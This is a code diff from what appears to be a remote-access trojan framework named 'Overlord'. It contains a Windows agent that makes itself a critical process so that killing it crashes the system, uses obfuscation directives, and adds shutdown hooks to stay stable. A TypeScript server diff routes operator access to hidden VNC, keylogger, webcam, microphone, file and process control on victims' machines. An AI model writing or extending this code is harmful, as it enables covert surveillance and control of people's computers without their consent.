diff --git a/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go b/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go
index 5ec5c18..18c4d6c 100644
--- a/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go
+++ b/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go
@@ -6,6 +6,8 @@ package criticalproc
import (
"fmt"
"log"
+ "runtime"
+ "sync"
"unsafe"
"golang.org/x/sys/windows"
@@ -14,9 +16,61 @@ import (
var (
modntdll = windows.NewLazySystemDLL("ntdll.dll")
procNtSetInformationProcess = modntdll.NewProc("NtSetInformationProcess")
+ modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
+ procSetConsoleCtrlHandler = modkernel32.NewProc("SetConsoleCtrlHandler")
+ procGetModuleHandleW = modkernel32.NewProc("GetModuleHandleW")
+ moduser32 = windows.NewLazySystemDLL("user32.dll")
+ procRegisterClassExW = moduser32.NewProc("RegisterClassExW")
+ procCreateWindowExW = moduser32.NewProc("CreateWindowExW")
+ procDefWindowProcW = moduser32.NewProc("DefWindowProcW")
+ procGetMessageW = moduser32.NewProc("GetMessageW")
+ procTranslateMessage = moduser32.NewProc("TranslateMessage")
+ procDispatchMessageW = moduser32.NewProc("DispatchMessageW")
+
+ stateMu sync.Mutex
+ breakOnTerminationEnabled bool
+ shutdownHandlerRegistered bool
+ consoleCtrlCallback uintptr
+ shutdownWindowCallback uintptr
)
const processBreakOnTermination = 29
+const (
+ ctrlCloseEvent = 2
+ ctrlLogoffEvent = 5
+ ctrlShutdownEvent = 6
+ wmQueryEndSession = 0x0011
+ wmEndSession = 0x0016
+)
+
+type wndClassEx struct {
+ cbSize uint32
+ style uint32
+ lpfnWndProc uintptr
+ cbClsExtra int32
+ cbWndExtra int32
+ hInstance windows.Handle
+ hIcon windows.Handle
+ hCursor windows.Handle
+ hbrBackground windows.Handle
+ lpszMenuName *uint16
+ lpszClassName *uint16
+ hIconSm windows.Handle
+}
+
+type point struct {
+ x int32
+ y int32
+}
+
+type msg struct {
+ hwnd windows.Handle
+ message uint32
+ wParam uintptr
+ lParam uintptr
+ time uint32
+ pt point
+}
func Setup() {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
@@ -32,15 +86,117 @@ func Setup() {
log.Printf("[criticalproc] failed to set critical process: %v", err)
return
}
+ stateMu.Lock()
+ breakOnTerminationEnabled = true
+ stateMu.Unlock()
+ registerShutdownHandler()
log.Printf("[criticalproc] process marked as critical")
}
func Teardown() {
- if !windows.GetCurrentProcessToken().IsElevated() {
+ stateMu.Lock()
+ enabled := breakOnTerminationEnabled
+ stateMu.Unlock()
+ if !enabled {
return
}
if err := ntSetBreakOnTermination(0); err != nil {
log.Printf("[criticalproc] failed to unset critical process: %v", err)
+ return
+ }
+ stateMu.Lock()
+ breakOnTerminationEnabled = false
+ stateMu.Unlock()
+}
+
+func registerShutdownHandler() {
+ stateMu.Lock()
+ if shutdownHandlerRegistered {
+ stateMu.Unlock()
+ return
+ }
+ shutdownHandlerRegistered = true
+ stateMu.Unlock()
+
+ consoleCtrlCallback = windows.NewCallback(func(ctrlType uint32) uintptr {
+ switch ctrlType {
+ case ctrlCloseEvent, ctrlLogoffEvent, ctrlShutdownEvent:
+ Teardown()
+ }
+ return 0
+ })
+
+ ret, _, err := procSetConsoleCtrlHandler.Call(consoleCtrlCallback, 1)
+ if ret == 0 {
+ log.Printf("[criticalproc] failed to register shutdown handler: %v", err)
+ }
+ go runShutdownWindow()
+}
+
+func runShutdownWindow() {
+ runtime.LockOSThread()
+ defer runtime.UnlockOSThread()
+
+ className, err := windows.UTF16PtrFromString("OverlordCriticalProcessShutdownWindow")
+ if err != nil {
+ log.Printf("[criticalproc] failed to create shutdown window class name: %v", err)
+ return
+ }
+
+ instance, _, _ := procGetModuleHandleW.Call(0)
+ shutdownWindowCallback = windows.NewCallback(func(hwnd uintptr, msg uint32, wParam uintptr, lParam uintptr) uintptr {
+ switch msg {
+ case wmQueryEndSession:
+ Teardown()
+ return 1
+ case wmEndSession:
+ if wParam != 0 {
+ Teardown()
+ }
+ }
+ ret, _, _ := procDefWindowProcW.Call(hwnd, uintptr(msg), wParam, lParam)
+ return ret
+ })
+
+ wc := wndClassEx{
+ cbSize: uint32(unsafe.Sizeof(wndClassEx{})),
+ lpfnWndProc: shutdownWindowCallback,
+ hInstance: windows.Handle(instance),
+ lpszClassName: className,
+ }
+ ret, _, registerErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc)))
+ if ret == 0 {
+ log.Printf("[criticalproc] failed to register shutdown window class: %v", registerErr)
+ return
+ }
+
+ hwnd, _, createErr := procCreateWindowExW.Call(
+ 0,
+ uintptr(unsafe.Pointer(className)),
+ uintptr(unsafe.Pointer(className)),
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ instance,
+ 0,
+ )
+ if hwnd == 0 {
+ log.Printf("[criticalproc] failed to create shutdown window: %v", createErr)
+ return
+ }
+
+ var message msg
+ for {
+ ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&message)), hwnd, 0, 0)
+ if int32(ret) <= 0 {
+ return
+ }
+ procTranslateMessage.Call(uintptr(unsafe.Pointer(&message)))
+ procDispatchMessageW.Call(uintptr(unsafe.Pointer(&message)))
}
}
diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock
index 15a09be..f7f7148 100644
--- a/Overlord-Server/bun.lock
+++ b/Overlord-Server/bun.lock
@@ -1,5 +1,6 @@
{
"lockfileVersion": 1,
+ "configVersion": 0,
"workspaces": {
"": {
"name": "overlord-server",
diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html
index 7c0df10..69fa9d2 100644
--- a/Overlord-Server/public/remotedesktop.html
+++ b/Overlord-Server/public/remotedesktop.html
@@ -130,6 +130,9 @@
Codec: auto
+
@@ -162,9 +165,6 @@
-
diff --git a/Overlord-Server/src/db/repositories.ts b/Overlord-Server/src/db/repositories.ts
index dc9a914..609c541 100644
--- a/Overlord-Server/src/db/repositories.ts
+++ b/Overlord-Server/src/db/repositories.ts
@@ -1,5 +1,5 @@
import type { ClientInfo, ListFilters, ListResult, ClientRole } from "../types";
-import { hasThumbnail, getThumbnailVersion } from "../thumbnails";
+import { getThumbnailSummaries } from "../thumbnails";
import { db, dbPath } from "./connection";
import "./schema";
@@ -905,48 +905,52 @@ export function listClients(filters: ListFilters): ListResult {
.all(...params, pageSize, offset);
const { floodedHwids, floodedHardware, floodedIps } = getFloodSetsWithCache();
+ const thumbnailSummaries = getThumbnailSummaries(rows.map((row: any) => row.id));
- const items = rows.map((c: any) => ({
- id: c.id,
- hwid: c.hwid,
- role: (c.role as ClientRole) || "client",
- ip: c.ip || null,
- lastSeen: Number(c.lastSeen) || 0,
- host: c.host,
- os: c.os || "unknown",
- arch: c.arch || "arch?",
- version: c.version || "0",
- user: c.user,
- nickname: c.nickname || null,
- customTag: c.customTag || null,
- customTagNote: c.customTagNote ?? null,
- monitors: c.monitors,
- country: c.country || "ZZ",
- pingMs: c.pingMs ?? null,
- online: c.online === 1,
- bookmarked: c.bookmarked === 1,
- buildTag: c.buildTag || null,
- builtByUserId: typeof c.builtByUserId === "number" ? c.builtByUserId : null,
- enrollmentStatus: c.enrollmentStatus || "pending",
- publicKey: c.publicKey || null,
- keyFingerprint: c.keyFingerprint || null,
- cpu: c.cpu || null,
- gpu: c.gpu || null,
- ram: c.ram || null,
- isAdmin: c.isAdmin === 1,
- elevation: c.elevation || null,
- permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
- disconnectReason: c.disconnectReason || null,
- disconnectDetail: c.disconnectDetail || null,
- groupId: typeof c.groupId === "number" ? c.groupId : null,
- groupName: c.groupName || null,
- groupColor: c.groupColor || null,
- notificationsMuted: c.notificationsMuted === 1,
- denyReason: c.denyReason || null,
- hasThumbnail: hasThumbnail(c.id),
- thumbnailVersion: getThumbnailVersion(c.id),
- suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }),
- }));
+ const items = rows.map((c: any) => {
+ const thumbnail = thumbnailSummaries.get(c.id);
+ return {
+ id: c.id,
+ hwid: c.hwid,
+ role: (c.role as ClientRole) || "client",
+ ip: c.ip || null,
+ lastSeen: Number(c.lastSeen) || 0,
+ host: c.host,
+ os: c.os || "unknown",
+ arch: c.arch || "arch?",
+ version: c.version || "0",
+ user: c.user,
+ nickname: c.nickname || null,
+ customTag: c.customTag || null,
+ customTagNote: c.customTagNote ?? null,
+ monitors: c.monitors,
+ country: c.country || "ZZ",
+ pingMs: c.pingMs ?? null,
+ online: c.online === 1,
+ bookmarked: c.bookmarked === 1,
+ buildTag: c.buildTag || null,
+ builtByUserId: typeof c.builtByUserId === "number" ? c.builtByUserId : null,
+ enrollmentStatus: c.enrollmentStatus || "pending",
+ publicKey: c.publicKey || null,
+ keyFingerprint: c.keyFingerprint || null,
+ cpu: c.cpu || null,
+ gpu: c.gpu || null,
+ ram: c.ram || null,
+ isAdmin: c.isAdmin === 1,
+ elevation: c.elevation || null,
+ permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
+ disconnectReason: c.disconnectReason || null,
+ disconnectDetail: c.disconnectDetail || null,
+ groupId: typeof c.groupId === "number" ? c.groupId : null,
+ groupName: c.groupName || null,
+ groupColor: c.groupColor || null,
+ notificationsMuted: c.notificationsMuted === 1,
+ denyReason: c.denyReason || null,
+ hasThumbnail: thumbnail?.hasThumbnail ?? false,
+ thumbnailVersion: thumbnail?.thumbnailVersion ?? 0,
+ suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }),
+ };
+ });
return { page, pageSize, total: totalRow.c, online: onlineRow.c, items };
}
diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
index f0e290c..dee0691 100644
--- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
+++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
@@ -1,8 +1,9 @@
import { authenticateRequest } from "../../auth";
import { logger } from "../../logger";
import { isIpBanned } from "../../db";
-import type { FeatureName } from "../../users";
+import type { FeatureName, UserRole } from "../../users";
import { hasPermission, requireClientAccess, requireFeatureAccess } from "../../rbac";
+import type { SocketRole } from "../../sessions/types";
type RequestServer = {
requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -57,38 +58,181 @@ function checkOperatorAccess(
return null;
}
+type AuthenticatedUser = {
+ userId: number;
+ role: UserRole;
+};
+
+type ClientViewerUpgradeRoute = {
+ pattern: RegExp;
+ role: SocketRole;
+ feature: FeatureName;
+ sessionId?: () => string;
+};
+
+const clientViewerUpgradeRoutes: ClientViewerUpgradeRoute[] = [
+ {
+ pattern: /^\/api\/clients\/(.+)\/console\/ws$/,
+ role: "console_viewer",
+ feature: "console",
+ sessionId: () => crypto.randomUUID(),
+ },
+ {
+ pattern: /^\/api\/clients\/(.+)\/rd\/ws$/,
+ role: "rd_viewer",
+ feature: "remote_desktop",
+ },
+ {
+ pattern: /^\/api\/clients\/(.+)\/hvnc\/ws$/,
+ role: "hvnc_viewer",
+ feature: "hvnc",
+ },
+ {
+ pattern: /^\/api\/clients\/(.+)\/webcam\/ws$/,
+ role: "webcam_viewer",
+ feature: "webcam",
+ },
+ {
+ pattern: /^\/api\/clients\/(.+)\/files\/ws$/,
+ role: "file_browser_viewer",
+ feature: "file_browser",
+ },
+ {
+ pattern: /^\/api\/clients\/(.+)\/processes\/ws$/,
+ role: "process_viewer",
+ feature: "processes",
+ },
+ {
+ pattern: /^\/api\/clients\/(.+)\/keylogger\/ws$/,
+ role: "keylogger_viewer",
+ feature: "keylogger",
+ },
+ {
+ pattern: /^\/api\/clients\/(.+)\/voice\/ws$/,
+ role: "voice_viewer",
+ feature: "voice",
+ },
+ {
+ pattern: /^\/api\/clients\/(.+)\/desktop-audio\/ws$/,
+ role: "desktop_audio_viewer",
+ feature: "voice",
+ },
+];
+
+type GlobalViewerUpgradeRoute = {
+ path: string;
+ role: SocketRole;
+ authorize?: (user: AuthenticatedUser) => Response | null;
+};
+
+const globalViewerUpgradeRoutes: GlobalViewerUpgradeRoute[] = [
+ { path: "/api/notifications/ws", role: "notifications_viewer" },
+ { path: "/api/dashboard/ws", role: "dashboard_viewer" },
+ {
+ path: "/api/chat/ws",
+ role: "chat_viewer",
+ authorize: (user) =>
+ hasPermission(user.role, "chat:write", user.userId)
+ ? null
+ : new Response("Forbidden: Chat access denied", { status: 403 }),
+ },
+];
+
+function getRequestIp(req: Request, server: RequestServer): string {
+ return server.requestIP(req)?.address || "";
+}
+
+function upgradeOrFail(
+ req: Request,
+ server: RequestServer,
+ data: Record
,
+): Response {
+ if (server.upgrade(req, { data })) {
+ return new Response();
+ }
+ return new Response("Upgrade failed", { status: 500 });
+}
+
+async function authenticateViewerRequest(req: Request): Promise {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ return user;
+}
+
+async function tryClientViewerUpgrade(
+ req: Request,
+ url: URL,
+ server: RequestServer,
+): Promise {
+ for (const route of clientViewerUpgradeRoutes) {
+ const match = url.pathname.match(route.pattern);
+ if (!match) continue;
+
+ const user = await authenticateViewerRequest(req);
+ if (user instanceof Response) return user;
+
+ if (user.role === "viewer") {
+ return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
+ }
+
+ const clientId = match[1];
+ const denied = checkOperatorAccess(user, clientId, route.feature);
+ if (denied) return denied;
+
+ const data: Record = {
+ role: route.role,
+ clientId,
+ ip: getRequestIp(req, server),
+ userRole: user.role,
+ userId: user.userId,
+ };
+ if (route.sessionId) {
+ data.sessionId = route.sessionId();
+ }
+ return upgradeOrFail(req, server, data);
+ }
+
+ return null;
+}
+
+async function tryGlobalViewerUpgrade(
+ req: Request,
+ url: URL,
+ server: RequestServer,
+): Promise {
+ if (req.method !== "GET") return null;
+
+ const route = globalViewerUpgradeRoutes.find((candidate) => candidate.path === url.pathname);
+ if (!route) return null;
+
+ const user = await authenticateViewerRequest(req);
+ if (user instanceof Response) return user;
+
+ const denied = route.authorize?.(user);
+ if (denied) return denied;
+
+ return upgradeOrFail(req, server, {
+ role: route.role,
+ clientId: "",
+ ip: getRequestIp(req, server),
+ userRole: user.role,
+ userId: user.userId,
+ });
+}
+
export async function handleWsUpgradeRoutes(
req: Request,
url: URL,
server: RequestServer,
deps: WsUpgradeDeps,
): Promise {
- const ip = server.requestIP(req)?.address || "";
+ const ip = getRequestIp(req, server);
if (isWsRateLimited(ip)) {
return new Response("Too Many Requests", { status: 429 });
}
- const consoleWsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/console\/ws$/);
- if (consoleWsMatch) {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
-
- if (user.role === "viewer") {
- return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
- }
- const clientId = consoleWsMatch[1];
- const denied = checkOperatorAccess(user, clientId, "console");
- if (denied) return denied;
- const sessionId = crypto.randomUUID();
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "console_viewer", clientId, sessionId, ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
-
const wsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/stream\/ws$/);
if (wsMatch) {
logger.info(`[auth] Checking agent authorization for client connection`);
@@ -97,215 +241,18 @@ export async function handleWsUpgradeRoutes(
}
const clientId = wsMatch[1];
const role = "client";
- const ip = server.requestIP(req)?.address || "";
if (ip && isIpBanned(ip)) {
logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`);
return new Response("Forbidden", { status: 403 });
}
- if (server.upgrade(req, { data: { role, clientId, ip } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
+ return upgradeOrFail(req, server, { role, clientId, ip });
}
- const rdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/rd\/ws$/);
- if (rdMatch) {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
+ const clientViewerResponse = await tryClientViewerUpgrade(req, url, server);
+ if (clientViewerResponse) return clientViewerResponse;
- if (user.role === "viewer") {
- return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
- }
- const clientId = rdMatch[1];
- const denied = checkOperatorAccess(user, clientId, "remote_desktop");
- if (denied) return denied;
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "rd_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
-
- const hvncMatch = url.pathname.match(/^\/api\/clients\/(.+)\/hvnc\/ws$/);
- if (hvncMatch) {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
-
- if (user.role === "viewer") {
- return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
- }
- const clientId = hvncMatch[1];
- const denied = checkOperatorAccess(user, clientId, "hvnc");
- if (denied) return denied;
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "hvnc_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
-
- const webcamMatch = url.pathname.match(/^\/api\/clients\/(.+)\/webcam\/ws$/);
- if (webcamMatch) {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
-
- if (user.role === "viewer") {
- return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
- }
- const clientId = webcamMatch[1];
- const denied = checkOperatorAccess(user, clientId, "webcam");
- if (denied) return denied;
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "webcam_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
-
- const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
- if (fbMatch) {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
-
- if (user.role === "viewer") {
- return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
- }
- const clientId = fbMatch[1];
- const denied = checkOperatorAccess(user, clientId, "file_browser");
- if (denied) return denied;
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "file_browser_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
-
- const processMatch = url.pathname.match(/^\/api\/clients\/(.+)\/processes\/ws$/);
- if (processMatch) {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
-
- if (user.role === "viewer") {
- return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
- }
- const clientId = processMatch[1];
- const denied = checkOperatorAccess(user, clientId, "processes");
- if (denied) return denied;
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "process_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
-
- const keyloggerMatch = url.pathname.match(/^\/api\/clients\/(.+)\/keylogger\/ws$/);
- if (keyloggerMatch) {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
-
- if (user.role === "viewer") {
- return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
- }
- const clientId = keyloggerMatch[1];
- const denied = checkOperatorAccess(user, clientId, "keylogger");
- if (denied) return denied;
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "keylogger_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
-
- const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/);
- if (voiceMatch) {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
-
- if (user.role === "viewer") {
- return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
- }
- const clientId = voiceMatch[1];
- const denied = checkOperatorAccess(user, clientId, "voice");
- if (denied) return denied;
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "voice_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
-
- const desktopAudioMatch = url.pathname.match(/^\/api\/clients\/(.+)\/desktop-audio\/ws$/);
- if (desktopAudioMatch) {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
-
- if (user.role === "viewer") {
- return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
- }
- const clientId = desktopAudioMatch[1];
- const denied = checkOperatorAccess(user, clientId, "voice");
- if (denied) return denied;
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "desktop_audio_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
-
- if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
-
- if (req.method === "GET" && url.pathname === "/api/dashboard/ws") {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "dashboard_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
-
- if (req.method === "GET" && url.pathname === "/api/chat/ws") {
- const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
- if (!hasPermission(user.role, "chat:write", user.userId)) {
- return new Response("Forbidden: Chat access denied", { status: 403 });
- }
- const ip = server.requestIP(req)?.address || "";
- if (server.upgrade(req, { data: { role: "chat_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
- return new Response();
- }
- return new Response("Upgrade failed", { status: 500 });
- }
+ const globalViewerResponse = await tryGlobalViewerUpgrade(req, url, server);
+ if (globalViewerResponse) return globalViewerResponse;
return null;
}
diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts
index 73e7895..70b0117 100644
--- a/Overlord-Server/src/sessions/types.ts
+++ b/Overlord-Server/src/sessions/types.ts
@@ -5,6 +5,7 @@ export type SocketRole =
| ClientRole
| "console_viewer"
| "rd_viewer"
+ | "hvnc_viewer"
| "webcam_viewer"
| "file_browser_viewer"
| "process_viewer"
diff --git a/Overlord-Server/src/thumbnails.ts b/Overlord-Server/src/thumbnails.ts
index b8a23dc..30a5055 100644
--- a/Overlord-Server/src/thumbnails.ts
+++ b/Overlord-Server/src/thumbnails.ts
@@ -92,6 +92,23 @@ export function getThumbnailVersion(id: string): number {
return thumbnails.get(id)?.version ?? 0;
}
+export type ThumbnailSummary = {
+ hasThumbnail: boolean;
+ thumbnailVersion: number;
+};
+
+export function getThumbnailSummaries(ids: readonly string[]): Map {
+ const summaries = new Map();
+ for (const id of ids) {
+ const thumbnail = thumbnails.get(id);
+ summaries.set(id, {
+ hasThumbnail: !!thumbnail,
+ thumbnailVersion: thumbnail?.version ?? 0,
+ });
+ }
+ return summaries;
+}
+
export function clearThumbnail(id: string) {
thumbnails.delete(id);
latestFrames.delete(id);